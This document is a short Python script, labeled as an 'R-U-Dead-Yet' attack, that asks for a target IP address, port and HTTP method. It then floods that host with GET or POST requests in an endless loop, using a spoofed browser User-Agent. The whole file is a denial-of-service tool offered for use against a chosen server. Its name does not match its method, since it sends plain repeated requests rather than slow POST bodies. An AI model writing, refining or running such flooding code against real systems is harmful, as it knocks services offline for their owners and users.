import requests

def rudy_attack(target_ip, target_port, method):
    url = f"http://{target_ip}:{target_port}/"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}

    while True:
        try:
            if method.lower() == "post":
                requests.post(url, headers=headers, timeout=10)
            else:
                requests.get(url, headers=headers, timeout=10)
        except Exception as e:
            print(f"An error occurred: {e}")

target_ip = input("Please enter the target IP address: ")
target_port = input("Please enter the target port number: ")
method = input("Please choose the HTTP method for the attack (GET or POST): ")

rudy_attack(target_ip, target_port, method)